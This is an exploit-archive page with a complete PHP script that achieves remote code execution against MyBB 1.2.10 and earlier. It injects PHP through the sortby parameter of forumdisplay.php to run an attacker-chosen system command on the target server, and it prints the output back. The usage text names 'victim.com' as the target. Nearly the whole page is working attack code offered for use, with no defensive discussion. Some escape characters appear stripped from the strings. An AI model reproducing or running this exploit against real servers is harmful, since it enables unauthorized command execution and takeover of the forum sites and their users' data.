[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MyBulletinBoard (MyBB) <= 1.2.10 Remote Code Execution Exploit
# Published : 2008-01-16
# Author : Silentz
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#!/usr/bin/php -q -d short_open_tag=on
<?php
// magic_quotes_gpc needs to be off
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
if ($argc<5) {
print "-------------------------------------------------------------------------rn";
print " MyBB <= 1.2.10 Remote Code Execution Exploitrn";
print "-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_mybb.php [HOST] [PATH] [FORUM_ID] [COMMAND]rnrn";
print "[HOST] = Target server's hostname or ip addressrn";
print "[PATH] = Path where MyBB is locatedrn";
print "[FORUM_ID] = Valid forum IDrn";
print "[COMMAND] = Command to executernrn";
print "e.g. w4ck1ng_mybb.php victim.com /mybb/ 1 idrn";
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
die;
}
//Props to rgod for the following functions
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host = $argv[1];
$path = $argv[2];
$fid = $argv[3];
$cmd = $argv[4];
$cmd = urlencode($cmd);
$port=80;$proxy="";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$sql = "forumdisplay.php?fid=$fid&sortby=']=1;echo%20'*';%20system('$cmd');echo%20'*';%20$orderarrow['";
$packet ="GET " . $path . $sql . " HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("*",$html);
$temp2=explode("*",$temp[1]);
print "-------------------------------------------------------------------------rn";
print " MyBB <= 1.2.10 Remote Code Execution Exploitrn";
print "-------------------------------------------------------------------------rn";
echo $temp2[0];
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
?>
# www.Syue.com [2008-01-16]